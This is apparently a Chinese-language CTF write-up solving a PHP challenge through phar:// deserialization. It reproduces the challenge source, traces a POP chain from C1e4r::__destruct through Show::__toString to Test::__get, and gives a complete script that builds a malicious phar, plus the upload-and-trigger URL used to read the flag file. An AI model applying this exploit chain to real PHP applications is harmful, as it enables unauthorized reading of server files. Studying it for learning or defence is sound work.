有读取文件,能读到如下文件:
file.php?file=index.php/base.php/upload_file.php/function.php/file.php/class.php
file.php文件内容如下:
<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
注意使用的是file_exists()函数。
class.php文件内容如下:
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
看到Class想到反序列化,但是没看到啥unserialize()函数。
public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } }
这里有个WAF,不能直接查看f1ag.php,所以需要用其他方法读取。很容易想到利用file_get_contents或highlight_file函数读取文件内容。
涉及知识点:
除了unserialize()来利用反序列化漏洞之外,还可以利用phar文件以序列化的形式存储用户自定义的meta-data这一特性,扩大php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
受影响的函数如下:

这道题满足这几个条件:
- 存在受影响的函数file_get_contents、file_exists。
- phar文件能够上传到服务器端。
- 没有过滤【:】、【/】、【pchar】等关键词。
- 有可用的魔术方法作为“跳板”。
file_get_contents()函数是file_get方法中的,file_get方法在get方法中被调用,get方法在__get魔术方法中被触发:
__get:当希望访问某个对象的未定义的或者不可访问的属性不报错,我们可以在类里定义__get方法,这样系统在此刻会自动调用该方法
因此要考虑触发__get魔术方法,访问一个Test类中不存在的属性。
Show类有这么一段代码:
public $source; public function __toString() { $content = $this->str['str']->source; return $content; }
__toString:用于一个类被当成字符串时应怎样回应。
这里的source属性是在Show类里的,Test类里并不存在,因此str[‘str’] = new Test()可以触发__get魔术方法。
接下来考虑触发__toString()类,找到能输出东西的地方,在C1e4r类里有如下代码:
public function __destruct() { $this->test = $this->str; echo $this->test; }
它会在某个对象的所有引用都被删除或者当对象被显式销毁时执行。
最后总结思路如下:
- 通过C1e4r类,将str赋值为show类。($this->test = $this->Show)
- C1e4r类最后会echo $this->test;触发Show类的__toString()魔术方法
- __toString()魔术方法执行$content = $this->str[‘str’]->source;将str[‘str’]赋值为Test类,Test类中不存在source属性,触发Test类的__get($key)魔术方法。
- 因为$value = $this->params[$key];所以params=array(‘source’=>’/var/www/html/fl1g.php’);
exp如下:
需要将php.ini中的phar.readonly选项设置为Off,PHPstudy版本切换5.5.38。
<?php class C1e4r { public $test; public $str; } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } class Show { public $source; public $str; } $phar = new Phar("1.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); // 可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?,前面内容不限,但必须以__HALT_COMPILER();?来结尾,否则phar扩展将无法识别这个文件为phar文件 $t = new Test(); $t->params = array("source"=>"/var/www/html/f1ag.php"); $s = new Show(); $s->str = array("str"=>$t); $c = new C1e4r(); $c->str = $s; $phar->setMetadata($c); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
抓包上传改后缀:

找到文件路径,通过查看function.php可得知文件存在upload文件夹内,恰好这个文件夹可以访问qwq。
file.php?file=phar://upload/090b0844ab952f0df2b28e1f9bc24dad.jpg

base64解码得到flag。